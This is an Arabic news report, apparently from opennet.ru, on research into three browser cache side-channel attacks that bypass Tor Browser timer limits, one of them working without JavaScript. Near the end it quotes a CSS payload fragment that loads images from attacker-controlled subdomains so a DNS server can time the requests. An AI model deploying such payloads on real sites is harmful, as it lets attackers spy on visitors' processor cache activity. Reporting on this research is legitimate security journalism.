تم تنفيذ هجوم استخراج ذاكرة التخزين المؤقت لوحدة المعالجة المركزية في متصفح الويب بدون JavaScript

قام فريق من الباحثين من عدة جامعات أمريكية وإسرائيلية وأسترالية بتطوير ثلاث هجمات تعمل على متصفحات الويب لاستخراج معلومات حول محتويات ذاكرة التخزين المؤقت للمعالج. تعمل إحدى الطريقتين في المتصفحات التي لا تحتوي على JavaScript، وتتجاوز الطريقتان الأخريان طريقتي الحماية الحاليتين ضد هجمات القنوات الجانبية، بما في ذلك تلك المستخدمة في متصفح Tor وDeterFox. يتم نشر التعليمات البرمجية الخاصة بإظهار الهجمات، بالإضافة إلى مكونات الخادم اللازمة للهجمات، على GitHub.

لتحليل محتويات ذاكرة التخزين المؤقت، تستخدم جميع الهجمات طريقة Prime+Probe، والتي تتضمن ملء ذاكرة التخزين المؤقت بمجموعة قياسية من القيم واكتشاف التغييرات عن طريق قياس وقت الوصول إليها عند إعادة تعبئتها. لتجاوز آليات الأمان الموجودة في المتصفحات التي تتداخل مع قياس الوقت الدقيق، في خيارين، يتم تقديم طلب إلى خادم DNS أو WebSocket الذي يتحكم فيه المهاجم، والذي يحتفظ بسجل لوقت الطلبات المستلمة. في أحد النماذج، يتم استخدام وقت استجابة DNS الثابت كمرجع زمني.

وكانت القياسات التي تم إجراؤها باستخدام خوادم DNS أو WebSocket الخارجية، باستخدام نظام تصنيف يعتمد على التعلم الآلي، كافية للتنبؤ بالقيم بدقة تصل إلى 98% في السيناريو الأمثل (متوسط ​​80-90%). تم اختبار أساليب الهجوم على منصات الأجهزة المختلفة (Intel وAMD Ryzen وApple M1 وSamsung Exynos) وأثبتت أنها عالمية.

تم تنفيذ هجوم استخراج ذاكرة التخزين المؤقت لوحدة المعالجة المركزية في متصفح الويب بدون JavaScript

يستخدم النوع الأول من هجوم DNS Racing تطبيقًا كلاسيكيًا لطريقة Prime+Probe باستخدام صفائف JavaScript. تتلخص الاختلافات في استخدام مؤقت خارجي يعتمد على DNS ومعالج خطأ، والذي يتم تشغيله عند محاولة تحميل صورة من مجال غير موجود. يسمح المؤقت الخارجي بهجوم Prime+Probe على المتصفحات التي تحد من الوصول إلى مؤقتات JavaScript أو تعطله تمامًا.

بالنسبة لخادم DNS الموجود على نفس شبكة إيثرنت، تقدر دقة المؤقت بحوالي 2 مللي ثانية، وهو ما يكفي لتنفيذ هجوم القناة الجانبية (للمقارنة، دقة مؤقت JavaScript القياسي في متصفح Tor هي خفضت إلى 100 مللي ثانية). بالنسبة للهجوم، لا يلزم التحكم في خادم DNS، حيث يتم تحديد وقت تنفيذ العملية بحيث يكون وقت الاستجابة من DNS بمثابة علامة على إكمال مبكر للتحقق (اعتمادًا على ما إذا كان معالج الخطأ قد تم تشغيله أم لا في وقت سابق أو لاحقًا، يتم التوصل إلى استنتاج حول سرعة عملية التحقق باستخدام ذاكرة التخزين المؤقت).

تهدف طريقة الهجوم الثانية، "String and Sock"، إلى تجاوز تقنيات الأمان التي تقيد الاستخدام منخفض المستوى للمصفوفات في JavaScript. بدلاً من المصفوفات، تستخدم String and Sock عمليات على سلاسل كبيرة جدًا، يتم اختيار حجمها بحيث يغطي المتغير ذاكرة التخزين المؤقت LLC بالكامل (ذاكرة التخزين المؤقت للمستوى الأخير). بعد ذلك، باستخدام وظيفة IndexOf()، يتم البحث عن سلسلة فرعية صغيرة في السلسلة، والتي تكون غائبة في البداية في السلسلة المصدر، أي. تؤدي عملية البحث إلى التكرار عبر السلسلة بأكملها. نظرًا لأن حجم الخط يتوافق مع حجم ذاكرة التخزين المؤقت ذات المسؤولية المحدودة، فإن المسح يسمح لك بإجراء عملية فحص ذاكرة التخزين المؤقت دون معالجة المصفوفات. لقياس التأخير، بدلاً من DNS، يتم إجراء مكالمة إلى خادم WebSocket الذي يتحكم فيه المهاجم - قبل وبعد اكتمال عملية البحث، يتم إرسال الاستعلامات في السطر، بناءً عليها يقوم الخادم بحساب التأخير المستخدم لتحليل ذاكرة التخزين المؤقت محتويات.

يتم تنفيذ النوع الثالث من هجوم "CSS PP0" من خلال HTML وCSS، ويمكن أن يعمل في المتصفحات مع تعطيل JavaScript. الطريقة مشابهة لـ "String and Sock"، ولكنها غير مرتبطة بجافا سكريبت. أثناء الهجوم، يتم إنشاء مجموعة من محددات CSS للبحث عن طريق القناع. يتم تعيين السلسلة الكبيرة الأولية التي تملأ ذاكرة التخزين المؤقت عن طريق إنشاء علامة div باسم فئة كبير جدًا. يوجد بالداخل مجموعة من divs الأخرى بمعرفاتها الخاصة. كل من هذه divs المتداخلة لها أسلوبها الخاص مع محدد يبحث عن سلسلة فرعية. عند عرض صفحة، يحاول المتصفح أولاً معالجة الأقسام الداخلية، مما يؤدي إلى عملية بحث في صف كبير. يتم إجراء البحث باستخدام قناع مفقود عمدًا ويؤدي إلى التكرار عبر السطر بأكمله، وبعد ذلك يتم تشغيل الشرط "ليس" ويتم إجراء محاولة لتحميل صورة خلفية تشير إلى مجالات عشوائية: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

يتم خدمة النطاقات الفرعية بواسطة خادم DNS الخاص بالمهاجم، والذي يمكنه قياس التأخير في تلقي الطلبات. يصدر خادم DNS NXDOMAIN لجميع الطلبات ويحتفظ بسجل للوقت المحدد للطلبات. نتيجة لمعالجة مجموعة من div، يتلقى خادم DNS الخاص بالمهاجم سلسلة من الطلبات، والتي يرتبط التأخير بينها بنتيجة التحقق من محتويات ذاكرة التخزين المؤقت.

تم تنفيذ هجوم استخراج ذاكرة التخزين المؤقت لوحدة المعالجة المركزية في متصفح الويب بدون JavaScript


المصدر: opennet.ru

إضافة تعليق